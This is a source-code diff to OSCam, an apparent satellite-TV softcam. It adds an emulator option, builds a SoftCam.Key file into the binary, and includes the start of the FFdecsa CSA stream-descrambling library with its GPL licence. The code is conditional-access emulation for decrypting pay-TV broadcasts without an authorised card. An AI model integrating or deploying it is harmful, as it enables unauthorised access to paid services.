68 75
# The linker for powerpc have bug that prevents --gc-sections from working
69 76
# Check for the linker version and if it matches disable --gc-sections
70 77
# For more information about the bug see:
......
268 275
SRC-$(CONFIG_MODULE_CCCAM) += module-cccam.c
269 276
SRC-$(CONFIG_MODULE_CCCSHARE) += module-cccshare.c
270 277
SRC-$(CONFIG_MODULE_CONSTCW) += module-constcw.c
278
SRC-$(CONFIG_WITH_EMU) += module-emulator.c
279
SRC-$(CONFIG_WITH_EMU) += module-emulator-osemu.c
280
SRC-$(CONFIG_WITH_EMU) += module-emulator-stream.c
281
SRC-$(CONFIG_WITH_EMU) += ffdecsa/ffdecsa.c
282
UNAME := $(shell uname -s)
283
ifneq ($(UNAME),Darwin)
284
ifndef ANDROID_NDK
285
ifndef ANDROID_STANDALONE_TOOLCHAIN
286
ifeq "$(CONFIG_WITH_EMU)" "y"
287
TOUCH_SK := $(shell touch SoftCam.Key)
288
override LDFLAGS += -Wl,--format=binary -Wl,SoftCam.Key -Wl,--format=default
289
endif
290
endif
291
endif
292
endif
271 293
SRC-$(CONFIG_CS_CACHEEX) += module-csp.c
272 294
SRC-$(CONFIG_CW_CYCLE_CHECK) += module-cw-cycle-check.c
273 295
SRC-$(CONFIG_WITH_AZBOX) += module-dvbapi-azbox.c
......
365 387
# starts the compilation.
366 388
all:
367 389
@./config.sh --use-flags "$(USE_FLAGS)" --objdir "$(OBJDIR)" --make-config.mak
368
@-mkdir -p $(OBJDIR)/cscrypt $(OBJDIR)/csctapi $(OBJDIR)/minilzo $(OBJDIR)/webif
390
@-mkdir -p $(OBJDIR)/cscrypt $(OBJDIR)/csctapi $(OBJDIR)/minilzo $(OBJDIR)/ffdecsa $(OBJDIR)/webif
369 391
@-printf "\
370 392
+-------------------------------------------------------------------------------\n\
371 393
| OSCam ver: $(VER) rev: $(SVN_REV) target: $(TARGET)\n\
config.h (working copy)
1 1
#ifndef CONFIG_H_
2 2
#define CONFIG_H_
3 3
4
#define WITH_EMU 1
4 5
#define WEBIF 1
5 6
#define WEBIF_LIVELOG 1
6 7
#define WEBIF_JQUERY 1
config.sh (working copy)
1 1
#!/bin/sh
2 2
3
addons="WEBIF WEBIF_LIVELOG WEBIF_JQUERY TOUCH WITH_SSL HAVE_DVBAPI READ_SDT_CHARSETS IRDETO_GUESSING CS_ANTICASC WITH_DEBUG MODULE_MONITOR WITH_LB CS_CACHEEX CW_CYCLE_CHECK LCDSUPPORT LEDSUPPORT CLOCKFIX IPV6SUPPORT"
3
addons="WEBIF WEBIF_LIVELOG WEBIF_JQUERY TOUCH WITH_SSL HAVE_DVBAPI READ_SDT_CHARSETS IRDETO_GUESSING CS_ANTICASC WITH_DEBUG MODULE_MONITOR WITH_LB CS_CACHEEX CW_CYCLE_CHECK LCDSUPPORT LEDSUPPORT CLOCKFIX IPV6SUPPORT WITH_EMU"
4 4
protocols="MODULE_CAMD33 MODULE_CAMD35 MODULE_CAMD35_TCP MODULE_NEWCAMD MODULE_CCCAM MODULE_CCCSHARE MODULE_GBOX MODULE_RADEGAST MODULE_SCAM MODULE_SERIAL MODULE_CONSTCW MODULE_PANDORA MODULE_GHTTP"
5 5
readers="READER_NAGRA READER_IRDETO READER_CONAX READER_CRYPTOWORKS READER_SECA READER_VIACCESS READER_VIDEOGUARD READER_DRE READER_TONGFANG READER_BULCRYPT READER_GRIFFIN READER_DGCRYPT"
6 6
card_readers="CARDREADER_PHOENIX CARDREADER_INTERNAL CARDREADER_SC8IN1 CARDREADER_MP35 CARDREADER_SMARGO CARDREADER_DB2COM CARDREADER_STAPI CARDREADER_STAPI5 CARDREADER_STINGER CARDREADER_DRECAS"
......
24 24
# CONFIG_LEDSUPPORT=n
25 25
CONFIG_CLOCKFIX=y
26 26
# CONFIG_IPV6SUPPORT=n
27
CONFIG_WITH_EMU=y
27 28
# CONFIG_MODULE_CAMD33=n
28 29
CONFIG_MODULE_CAMD35=y
29 30
CONFIG_MODULE_CAMD35_TCP=y
......
289 290
290 291
update_deps() {
291 292
# Calculate dependencies
292
enabled_any $(get_opts readers) $(get_opts card_readers) && enable_opt WITH_CARDREADER >/dev/null
293
disabled_all $(get_opts readers) $(get_opts card_readers) && disable_opt WITH_CARDREADER >/dev/null
293
enabled_any $(get_opts readers) $(get_opts card_readers) WITH_EMU && enable_opt WITH_CARDREADER >/dev/null
294
disabled_all $(get_opts readers) $(get_opts card_readers) WITH_EMU && disable_opt WITH_CARDREADER >/dev/null
294 295
disabled WEBIF && disable_opt WEBIF_LIVELOG >/dev/null
295 296
disabled WEBIF && disable_opt WEBIF_JQUERY >/dev/null
296 297
enabled MODULE_CCCSHARE && enable_opt MODULE_CCCAM >/dev/null
297 298
enabled_any CARDREADER_DB2COM CARDREADER_MP35 CARDREADER_SC8IN1 CARDREADER_STINGER && enable_opt CARDREADER_PHOENIX >/dev/null
299
enabled WITH_EMU && enable_opt READER_VIACCESS >/dev/null
300
enabled WITH_EMU && enable_opt READER_DRE >/dev/null
301
enabled WITH_EMU && enable_opt MODULE_NEWCAMD >/dev/null
298 302
}
299 303
300 304
list_config() {
......
344 348
not_have_flag USE_LIBCRYPTO && echo "CONFIG_LIB_AES=y" || echo "# CONFIG_LIB_AES=n"
345 349
enabled MODULE_CCCAM && echo "CONFIG_LIB_RC6=y" || echo "# CONFIG_LIB_RC6=n"
346 350
not_have_flag USE_LIBCRYPTO && enabled MODULE_CCCAM && echo "CONFIG_LIB_SHA1=y" || echo "# CONFIG_LIB_SHA1=n"
347
enabled_any READER_DRE MODULE_SCAM READER_VIACCESS && echo "CONFIG_LIB_DES=y" || echo "# CONFIG_LIB_DES=n"
348
enabled_any MODULE_CCCAM READER_NAGRA READER_SECA && echo "CONFIG_LIB_IDEA=y" || echo "# CONFIG_LIB_IDEA=n"
349
not_have_flag USE_LIBCRYPTO && enabled_any READER_CONAX READER_CRYPTOWORKS READER_NAGRA && echo "CONFIG_LIB_BIGNUM=y" || echo "# CONFIG_LIB_BIGNUM=n"
351
enabled_any READER_DRE MODULE_SCAM READER_VIACCESS WITH_EMU && echo "CONFIG_LIB_DES=y" || echo "# CONFIG_LIB_DES=n"
352
enabled_any MODULE_CCCAM READER_NAGRA READER_SECA WITH_EMU && echo "CONFIG_LIB_IDEA=y" || echo "# CONFIG_LIB_IDEA=n"
353
not_have_flag USE_LIBCRYPTO && enabled_any READER_CONAX READER_CRYPTOWORKS READER_NAGRA WITH_EMU && echo "CONFIG_LIB_BIGNUM=y" || echo "# CONFIG_LIB_BIGNUM=n"
350 354
}
351 355
352 356
make_config_c() {
......
457 461
LEDSUPPORT "LED support" $(check_test "LEDSUPPORT") \
458 462
CLOCKFIX "Clockfix (disable on old systems!)" $(check_test "CLOCKFIX") \
459 463
IPV6SUPPORT "IPv6 support (experimental)" $(check_test "IPV6SUPPORT") \
464
WITH_EMU "Emulator support" $(check_test "WITH_EMU") \
460 465
2> ${tempfile}
461 466
462 467
opt=${?}
cscrypt/md5.c (working copy)
25 25
26 26
#if !defined(WITH_SSL) && !defined(WITH_LIBCRYPTO)
27 27
28
typedef struct MD5Context
29
{
30
uint32_t buf[4];
31
uint32_t bits[2];
32
uint32_t in[16];
33
} MD5_CTX;
34
35 28
#ifdef __i386__
36 29
#define byteReverse(a, b)
37 30
#else
......
155 148
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
156 149
* initialization constants.
157 150
*/
158
static void MD5_Init(MD5_CTX *ctx)
151
void MD5_Init(MD5_CTX *ctx)
159 152
{
160 153
ctx->buf[0] = 0x67452301;
161 154
ctx->buf[1] = 0xefcdab89;
......
170 163
* Update context to reflect the concatenation of another buffer full
171 164
* of bytes.
172 165
*/
173
static void MD5_Update(MD5_CTX *ctx, const unsigned char *buf, unsigned int len)
166
void MD5_Update(MD5_CTX *ctx, const unsigned char *buf, unsigned int len)
174 167
{
175 168
uint32_t t;
176 169
......
219 212
* Final wrapup - pad to 64-byte boundary with the bit pattern
220 213
* 1 0* (64-bit count of bits processed, MSB-first)
221 214
*/
222
static void MD5_Final(unsigned char digest[MD5_DIGEST_LENGTH], MD5_CTX *ctx)
215
void MD5_Final(unsigned char digest[MD5_DIGEST_LENGTH], MD5_CTX *ctx)
223 216
{
224 217
unsigned count;
225 218
unsigned char *p;
cscrypt/md5.h (working copy)
7 7
#define MD5_DIGEST_LENGTH 16
8 8
9 9
unsigned char *MD5(const unsigned char *input, unsigned long len, unsigned char *output_hash);
10
#endif
11 10
12
char *__md5_crypt(const char *text_pass, const char *salt, char *crypted_passwd);
11
typedef struct MD5Context {
12
uint32_t buf[4];
13
uint32_t bits[2];
14
uint32_t in[16];
15
} MD5_CTX;
13 16
17
void MD5_Init(MD5_CTX *ctx);
18
void MD5_Update(MD5_CTX *ctx, const unsigned char *buf, unsigned int len);
19
void MD5_Final(unsigned char digest[MD5_DIGEST_LENGTH], MD5_CTX *ctx);
14 20
#endif
21
char *__md5_crypt(const char *text_pass, const char *salt, char *crypted_passwd);
22
#endif
csctapi/cardreaders.h (working copy)
14 14
extern const struct s_cardreader cardreader_stapi;
15 15
extern const struct s_cardreader cardreader_stinger;
16 16
extern const struct s_cardreader cardreader_drecas;
17
extern const struct s_cardreader cardreader_emu;
17 18
18 19
#endif
ffdecsa/CMakeLists.txt (working copy)
1
project (ffdecsa)
2
3
file (GLOB ffdecsa_srcs "ffdecsa.c")
4
file (GLOB ffdecsa_hdrs "*.h")
5
6
set (lib_name "ffdecsa")
7
8
add_library (${lib_name} STATIC ${ffdecsa_srcs} ${ffdecsa_hdrs})
ffdecsa/COPYING (working copy)
1
GNU GENERAL PUBLIC LICENSE
2
Version 2, June 1991
3
4
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
5
675 Mass Ave, Cambridge, MA 02139, USA
6
Everyone is permitted to copy and distribute verbatim copies
7
of this license document, but changing it is not allowed.
8
9
Preamble
10
11
The licenses for most software are designed to take away your
12
freedom to share and change it. By contrast, the GNU General Public
13
License is intended to guarantee your freedom to share and change free
14
software--to make sure the software is free for all its users. This
15
General Public License applies to most of the Free Software
16
Foundation's software and to any other program whose authors commit to
17
using it. (Some other Free Software Foundation software is covered by
18
the GNU Library General Public License instead.) You can apply it to
19
your programs, too.
20
21
When we speak of free software, we are referring to freedom, not
22
price. Our General Public Licenses are designed to make sure that you
23
have the freedom to distribute copies of free software (and charge for
24
this service if you wish), that you receive source code or can get it
25
if you want it, that you can change the software or use pieces of it
26
in new free programs; and that you know you can do these things.
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To protect your rights, we need to make restrictions that forbid
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anyone to deny you these rights or to ask you to surrender the rights.
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These restrictions translate to certain responsibilities for you if you
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distribute copies of the software, or if you modify it.
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For example, if you distribute copies of such a program, whether
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gratis or for a fee, you must give the recipients all the rights that
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you have. You must make sure that they, too, receive or can get the
36
source code. And you must show them these terms so they know their
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rights.
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We protect your rights with two steps: (1) copyright the software, and
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(2) offer you this license which gives you legal permission to copy,
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distribute and/or modify the software.
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Also, for each author's protection and ours, we want to make certain
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that everyone understands that there is no warranty for this free
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Finally, any free program is threatened constantly by software
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The precise terms and conditions for copying, distribution and
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GNU GENERAL PUBLIC LICENSE
60
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
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0. This License applies to any program or other work which contains
63
a notice placed by the copyright holder saying it may be distributed
64
under the terms of this General Public License. The "Program", below,
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refers to any such program or work, and a "work based on the Program"
66
means either the Program or any derivative work under copyright law:
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that is to say, a work containing the Program or a portion of it,
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either verbatim or with modifications and/or translated into another
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language. (Hereinafter, translation is included without limitation in
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the term "modification".) Each licensee is addressed as "you".
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Activities other than copying, distribution and modification are not
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74
running the Program is not restricted, and the output from the Program
75
is covered only if its contents constitute a work based on the
76
Program (independent of having been made by running the Program).
77
Whether that is true depends on what the Program does.
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1. You may copy and distribute verbatim copies of the Program's
80
source code as you receive it, in any medium, provided that you
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conspicuously and appropriately publish on each copy an appropriate
82
copyright notice and disclaimer of warranty; keep intact all the
83
notices that refer to this License and to the absence of any warranty;
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and give any other recipients of the Program a copy of this License
85
along with the Program.
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You may charge a fee for the physical act of transferring a copy, and
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you may at your option offer warranty protection in exchange for a fee.
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2. You may modify your copy or copies of the Program or any portion
91
of it, thus forming a work based on the Program, and copy and
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distribute such modifications or work under the terms of Section 1
93
above, provided that you also meet all of these conditions:
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a) You must cause the modified files to carry prominent notices
96
stating that you changed the files and the date of any change.
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b) You must cause any work that you distribute or publish, that in
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parties under the terms of this License.
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c) If the modified program normally reads commands interactively
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when run, you must cause it, when started running for such
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interactive use in the most ordinary way, to print or display an
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License. (Exception: if the Program itself is interactive but
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does not normally print such an announcement, your work based on
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the Program is not required to print an announcement.)
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These requirements apply to the modified work as a whole. If
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identifiable sections of that work are not derived from the Program,
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and can be reasonably considered independent and separate works in
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entire whole, and thus to each and every part regardless of who wrote it.
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Thus, it is not the intent of this section to claim rights or contest
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exercise the right to control the distribution of derivative or
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collective works based on the Program.
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In addition, mere aggregation of another work not based on the Program
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with the Program (or with a work based on the Program) on a volume of
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3. You may copy and distribute the Program (or a work based on it,
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under Section 2) in object code or executable form under the terms of
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Sections 1 and 2 above provided that you also do one of the following:
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a) Accompany it with the complete corresponding machine-readable
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source code, which must be distributed under the terms of Sections
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b) Accompany it with a written offer, valid for at least three
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years, to give any third party, for a charge no more than your
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cost of physically performing source distribution, a complete
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machine-readable copy of the corresponding source code, to be
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distributed under the terms of Sections 1 and 2 above on a medium
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customarily used for software interchange; or,
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c) Accompany it with the information you received as to the offer
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to distribute corresponding source code. (This alternative is
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allowed only for noncommercial distribution and only if you
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received the program in object code or executable form with such
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an offer, in accord with Subsection b above.)
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The source code for a work means the preferred form of the work for
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making modifications to it. For an executable work, complete source
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special exception, the source code distributed need not include
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anything that is normally distributed (in either source or binary
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operating system on which the executable runs, unless that component
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If distribution of executable or object code is made by offering
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access to copy from a designated place, then offering equivalent
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access to copy the source code from the same place counts as
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distribution of the source code, even though third parties are not
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compelled to copy the source along with the object code.
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4. You may not copy, modify, sublicense, or distribute the Program
173
except as expressly provided under this License. Any attempt
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otherwise to copy, modify, sublicense or distribute the Program is
175
void, and will automatically terminate your rights under this License.
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However, parties who have received copies, or rights, from you under
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this License will not have their licenses terminated so long as such
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5. You are not required to accept this License, since you have not
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distribute the Program or its derivative works. These actions are
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the Program or works based on it.
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6. Each time you redistribute the Program (or any work based on the
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these terms and conditions. You may not impose any further
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restrictions on the recipients' exercise of the rights granted herein.
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You are not responsible for enforcing compliance by third parties to
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7. If, as a consequence of a court judgment or allegation of patent
198
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conditions are imposed on you (whether by court order, agreement or
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distribute so as to satisfy simultaneously your obligations under this
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205
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206
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refrain entirely from distribution of the Program.
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If any portion of this section is held invalid or unenforceable under
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any particular circumstance, the balance of the section is intended to
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apply and the section as a whole is intended to apply in other
213
circumstances.
214
215
It is not the purpose of this section to induce you to infringe any
216
patents or other property right claims or to contest validity of any
217
such claims; this section has the sole purpose of protecting the
218
integrity of the free software distribution system, which is
219
implemented by public license practices. Many people have made
220
generous contributions to the wide range of software distributed
221
through that system in reliance on consistent application of that
222
system; it is up to the author/donor to decide if he or she is willing
223
to distribute software through any other system and a licensee cannot
224
impose that choice.
225
226
This section is intended to make thoroughly clear what is believed to
227
be a consequence of the rest of this License.
228
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8. If the distribution and/or use of the Program is restricted in
230
certain countries either by patents or by copyrighted interfaces, the
231
original copyright holder who places the Program under this License
232
may add an explicit geographical distribution limitation excluding
233
those countries, so that distribution is permitted only in or among
234
countries not thus excluded. In such case, this License incorporates
235
the limitation as if written in the body of this License.
236
237
9. The Free Software Foundation may publish revised and/or new versions
238
of the General Public License from time to time. Such new versions will
239
be similar in spirit to the present version, but may differ in detail to
240
address new problems or concerns.
241
242
Each version is given a distinguishing version number. If the Program
243
specifies a version number of this License which applies to it and "any
244
later version", you have the option of following the terms and conditions
245
either of that version or of any later version published by the Free
246
Software Foundation. If the Program does not specify a version number of
247
this License, you may choose any version ever published by the Free Software
248
Foundation.
249
250
10. If you wish to incorporate parts of the Program into other free
251
programs whose distribution conditions are different, write to the author
252
to ask for permission. For software which is copyrighted by the Free
253
Software Foundation, write to the Free Software Foundation; we sometimes
254
make exceptions for this. Our decision will be guided by the two goals
255
of preserving the free status of all derivatives of our free software and
256
of promoting the sharing and reuse of software generally.
257
258
NO WARRANTY
259
260
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268
REPAIR OR CORRECTION.
269
270
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278
POSSIBILITY OF SUCH DAMAGES.
279
280
END OF TERMS AND CONDITIONS
281
282
Appendix: How to Apply These Terms to Your New Programs
283
284
If you develop a new program, and you want it to be of the greatest
285
possible use to the public, the best way to achieve this is to make it
286
free software which everyone can redistribute and change under these terms.
287
288
To do so, attach the following notices to the program. It is safest
289
to attach them to the start of each source file to most effectively
290
convey the exclusion of warranty; and each file should have at least
291
the "copyright" line and a pointer to where the full notice is found.
292
293
<one line to give the program's name and a brief idea of what it does.>
294
Copyright (C) 19yy <name of author>
295
296
This program is free software; you can redistribute it and/or modify
297
it under the terms of the GNU General Public License as published by
298
the Free Software Foundation; either version 2 of the License, or
299
(at your option) any later version.
300
301
This program is distributed in the hope that it will be useful,
302
but WITHOUT ANY WARRANTY; without even the implied warranty of
303
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304
GNU General Public License for more details.
305
306
You should have received a copy of the GNU General Public License
307
along with this program; if not, write to the Free Software
308
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
309
310
Also add information on how to contact you by electronic and paper mail.
311
312
If the program is interactive, make it output a short notice like this
313
when it starts in an interactive mode:
314
315
Gnomovision version 69, Copyright (C) 19yy name of author
316
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317
This is free software, and you are welcome to redistribute it
318
under certain conditions; type `show c' for details.
319
320
The hypothetical commands `show w' and `show c' should show the appropriate
321
parts of the General Public License. Of course, the commands you use may
322
be called something other than `show w' and `show c'; they could even be
323
mouse-clicks or menu items--whatever suits your program.
324
325
You should also get your employer (if you work as a programmer) or your
326
school, if any, to sign a "copyright disclaimer" for the program, if
327
necessary. Here is a sample; alter the names:
328
329
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330
`Gnomovision' (which makes passes at compilers) written by James Hacker.
331
332
<signature of Ty Coon>, 1 April 1989
333
Ty Coon, President of Vice
334
335
This General Public License does not permit incorporating your program into
336
proprietary programs. If your program is a subroutine library, you may
337
consider it more useful to permit linking proprietary applications with the
338
library. If this is what you want to do, use the GNU Library General
339
Public License instead of this License.
ffdecsa/Makefile (working copy)
1
parent:
2
@$(MAKE) --no-print-directory -C ..
ffdecsa/ffdecsa.c (working copy)
1
/* FFdecsa -- fast decsa algorithm
2
*
3
* Copyright (C) 2003-2004 fatih89r
4
*
5
* This program is free software; you can redistribute it and/or modify
6
* it under the terms of the GNU General Public License as published by
7
* the Free Software Foundation; either version 2 of the License, or
8
* (at your option) any later version.
9
*
10
* This program is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13
* GNU General Public License for more details.
14
*
15
* You should have received a copy of the GNU General Public License
16
* along with this program; if not, write to the Free Software
17
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18
*/
19
20
21
#include <sys/types.h>
22
#include <string.h>
23
#include <stdio.h>
24
#include <stdlib.h>
25
26
#include "ffdecsa.h"
27
28
#ifndef NULL
29
#define NULL 0
30
#endif
31
32
//#define DEBUG
33
#ifdef DEBUG
34
#define DBG(a) a
35
#else
36
#define DBG(a)
37
#endif
38
39
//// parallelization stuff, large speed differences are possible
40
// possible choices
41
#define PARALLEL_32_4CHAR 320
42
#define PARALLEL_32_4CHARA 321
43
#define PARALLEL_32_INT 322
44
#define PARALLEL_64_8CHAR 640
45
#define PARALLEL_64_8CHARA 641
46
#define PARALLEL_64_2INT 642
47
#define PARALLEL_64_LONG 643
48
#define PARALLEL_64_MMX 644
49
#define PARALLEL_128_16CHAR 1280
50
#define PARALLEL_128_16CHARA 1281
51
#define PARALLEL_128_4INT 1282
52
#define PARALLEL_128_2LONG 1283
53
#define PARALLEL_128_2MMX 1284
54
#define PARALLEL_128_SSE 1285
55
#define PARALLEL_128_SSE2 1286
56
57
//////// our choice //////////////// our choice //////////////// our choice //////////////// our choice ////////
58
#ifndef PARALLEL_MODE
59
60
#if defined(__x86_64__) || defined(_M_X64)
61
#define PARALLEL_MODE PARALLEL_128_SSE2
62
63
#elif defined(__mips__) || defined(__mips) || defined(__MIPS__)
64
#define PARALLEL_MODE PARALLEL_64_LONG
65
66
#elif defined(__sh__) || defined(__SH4__)
67
#define PARALLEL_MODE PARALLEL_32_INT
68
#define COPY_UNALIGNED_PKT
69
#define MEMALIGN_VAL 4
70
71
#else
72
#define PARALLEL_MODE PARALLEL_32_INT
73
#endif
74
75
#endif
76
//////// our choice //////////////// our choice //////////////// our choice //////////////// our choice ////////
77
78
#include "parallel_generic.h"
79
//// conditionals
80
#if PARALLEL_MODE==PARALLEL_32_4CHAR
81
#include "parallel_032_4char.h"
82
#elif PARALLEL_MODE==PARALLEL_32_4CHARA
83
#include "parallel_032_4charA.h"
84
#elif PARALLEL_MODE==PARALLEL_32_INT
85
#include "parallel_032_int.h"
86
#elif PARALLEL_MODE==PARALLEL_64_8CHAR
87
#include "parallel_064_8char.h"
88
#elif PARALLEL_MODE==PARALLEL_64_8CHARA
89
#include "parallel_064_8charA.h"
90
#elif PARALLEL_MODE==PARALLEL_64_2INT
91
#include "parallel_064_2int.h"
92
#elif PARALLEL_MODE==PARALLEL_64_LONG
93
#include "parallel_064_long.h"
94
#elif PARALLEL_MODE==PARALLEL_64_MMX
95
#include "parallel_064_mmx.h"
96
#elif PARALLEL_MODE==PARALLEL_128_16CHAR
97
#include "parallel_128_16char.h"
98
#elif PARALLEL_MODE==PARALLEL_128_16CHARA
99
#include "parallel_128_16charA.h"
100
#elif PARALLEL_MODE==PARALLEL_128_4INT
101
#include "parallel_128_4int.h"
102
#elif PARALLEL_MODE==PARALLEL_128_2LONG
103
#include "parallel_128_2long.h"
104
#elif PARALLEL_MODE==PARALLEL_128_2MMX
105
#include "parallel_128_2mmx.h"
106
#elif PARALLEL_MODE==PARALLEL_128_SSE
107
#include "parallel_128_sse.h"
108
#elif PARALLEL_MODE==PARALLEL_128_SSE2
109
#include "parallel_128_sse2.h"
110
#else
111
#error "unknown/undefined parallel mode"
112
#endif
113
114
// stuff depending on conditionals
115
116
#define BYTES_PER_GROUP (GROUP_PARALLELISM/8)
117
#define BYPG BYTES_PER_GROUP
118
#define BITS_PER_GROUP GROUP_PARALLELISM
119
#define BIPG BITS_PER_GROUP
120
121
// platform specific
122
123
#ifdef __arm__
124
#if !defined(MEMALIGN_VAL) || MEMALIGN_VAL<4
125
#undef MEMALIGN_VAL
126
#define MEMALIGN_VAL 4
127
#endif
128
#define COPY_UNALIGNED_PKT
129
#endif
130
131
//
132
133
#ifndef MALLOC
134
#define MALLOC(X) malloc(X)
135
#endif
136
#ifndef FREE
137
#define FREE(X) free(X)
138
#endif
139
#ifdef MEMALIGN_VAL
140
#define MEMALIGN __attribute__((aligned(MEMALIGN_VAL)))
141
#else
142
#define MEMALIGN
143
#endif
144
145
//// debug tool
146
147
#ifdef DEBUG
148
static void dump_mem(const char *string, const unsigned char *p, int len, int linelen){
149
int i;
150
for(i=0;i<len;i++){
151
if(i%linelen==0&&i) fprintf(stderr,"\n");
152
if(i%linelen==0) fprintf(stderr,"%s %08x:",string,i);
153
else{
154
if(i%8==0) fprintf(stderr," ");
155
if(i%4==0) fprintf(stderr," ");
156
}
157
fprintf(stderr," %02x",p[i]);
158
}
159
if(i%linelen==0) fprintf(stderr,"\n");
160
}
161
#endif
162
163
//////////////////////////////////////////////////////////////////////////////////
164
165
struct csa_key_t{
166
unsigned char ck[8];
167
// used by stream
168
int iA[8]; // iA[0] is for A1, iA[7] is for A8
169
int iB[8]; // iB[0] is for B1, iB[7] is for B8
170
// used by stream (group)
171
MEMALIGN group ck_g[8][8]; // [byte][bit:0=LSB,7=MSB]
172
MEMALIGN group iA_g[8][4]; // [0 for A1][0 for LSB]
173
MEMALIGN group iB_g[8][4]; // [0 for B1][0 for LSB]
174
// used by block
175
unsigned char kk[56];
176
// used by block (group)
177
MEMALIGN batch kkmulti[56]; // many times the same byte in every batch
178
};
179
180
struct csa_keys_t{
181
struct csa_key_t even;
182
struct csa_key_t odd;
183
};
184
185
//-----stream cypher
186
187
//-----key schedule for stream decypher
188
static void key_schedule_stream(
189
unsigned char *ck, // [In] ck[0]-ck[7] 8 bytes | Key.
190
int *iA, // [Out] iA[0]-iA[7] 8 nibbles | Key schedule.
191
int *iB) // [Out] iB[0]-iB[7] 8 nibbles | Key schedule.
192
{
193
iA[0]=(ck[0]>>4)&0xf;
194
iA[1]=(ck[0] )&0xf;
195
iA[2]=(ck[1]>>4)&0xf;
196
iA[3]=(ck[1] )&0xf;
197
iA[4]=(ck[2]>>4)&0xf;
198
iA[5]=(ck[2] )&0xf;
199
iA[6]=(ck[3]>>4)&0xf;
200
iA[7]=(ck[3] )&0xf;
201
iB[0]=(ck[4]>>4)&0xf;
202
iB[1]=(ck[4] )&0xf;
203
iB[2]=(ck[5]>>4)&0xf;
204
iB[3]=(ck[5] )&0xf;
205
iB[4]=(ck[6]>>4)&0xf;
206
iB[5]=(ck[6] )&0xf;
207
iB[6]=(ck[7]>>4)&0xf;
208
iB[7]=(ck[7] )&0xf;
209
}
210
211
//----- stream main function
212
213
#define STREAM_INIT
214
#include "stream.c"
215
#undef STREAM_INIT
216
217
#define STREAM_NORMAL
218
#include "stream.c"
219
#undef STREAM_NORMAL
220
221
222
//-----block decypher
223
224
//-----key schedule for block decypher
225
226
static void key_schedule_block(
227
unsigned char *ck, // [In] ck[0]-ck[7] 8 bytes | Key.
228
unsigned char *kk) // [Out] kk[0]-kk[55] 56 bytes | Key schedule.
229
{
230
static const unsigned char key_perm[0x40] = {
231
0x12,0x24,0x09,0x07,0x2A,0x31,0x1D,0x15, 0x1C,0x36,0x3E,0x32,0x13,0x21,0x3B,0x40,
232
0x18,0x14,0x25,0x27,0x02,0x35,0x1B,0x01, 0x22,0x04,0x0D,0x0E,0x39,0x28,0x1A,0x29,
233
0x33,0x23,0x34,0x0C,0x16,0x30,0x1E,0x3A, 0x2D,0x1F,0x08,0x19,0x17,0x2F,0x3D,0x11,
234
0x3C,0x05,0x38,0x2B,0x0B,0x06,0x0A,0x2C, 0x20,0x3F,0x2E,0x0F,0x03,0x26,0x10,0x37,
235
};
236
237
int i,j,k;
238
int bit[64];
239
int newbit[64];
240
int kb[7][8];
241
242
// 56 steps
243
// 56 key bytes kk(55)..kk(0) by key schedule from ck
244
245
// kb(6,0) .. kb(6,7) = ck(0) .. ck(7)
246
kb[6][0] = ck[0];
247
kb[6][1] = ck[1];
248
kb[6][2] = ck[2];
249
kb[6][3] = ck[3];
250
kb[6][4] = ck[4];
251
kb[6][5] = ck[5];
252
kb[6][6] = ck[6];
253
kb[6][7] = ck[7];
254
255
// calculate kb[5] .. kb[0]
256
for(i=5; i>=0; i--){
257
// 64 bit perm on kb
258
for(j=0; j<8; j++){
259
for(k=0; k<8; k++){
260
bit[j*8+k] = (kb[i+1][j] >> (7-k)) & 1;
261
newbit[key_perm[j*8+k]-1] = bit[j*8+k];
262
}
263
}
264
for(j=0; j<8; j++){
265
kb[i][j] = 0;
266
for(k=0; k<8; k++){
267
kb[i][j] |= newbit[j*8+k] << (7-k);
268
}
269
}
270
}
271
272
// xor to give kk
273
for(i=0; i<7; i++){
274
for(j=0; j<8; j++){
275
kk[i*8+j] = kb[i][j] ^ i;
276
}
277
}
278
279
}
280
281
//-----block utils
282
283
static inline __attribute__((always_inline)) void trasp_N_8 (unsigned char *in,unsigned char* out,int count){
284
int *ri=(int *)in;
285
int *ibi=(int *)out;
286
int j,i,k,g;
287
// copy and first step
288
for(g=0;g<count;g++){
289
ri[g]=ibi[2*g];
290
ri[GROUP_PARALLELISM+g]=ibi[2*g+1];
291
}
292
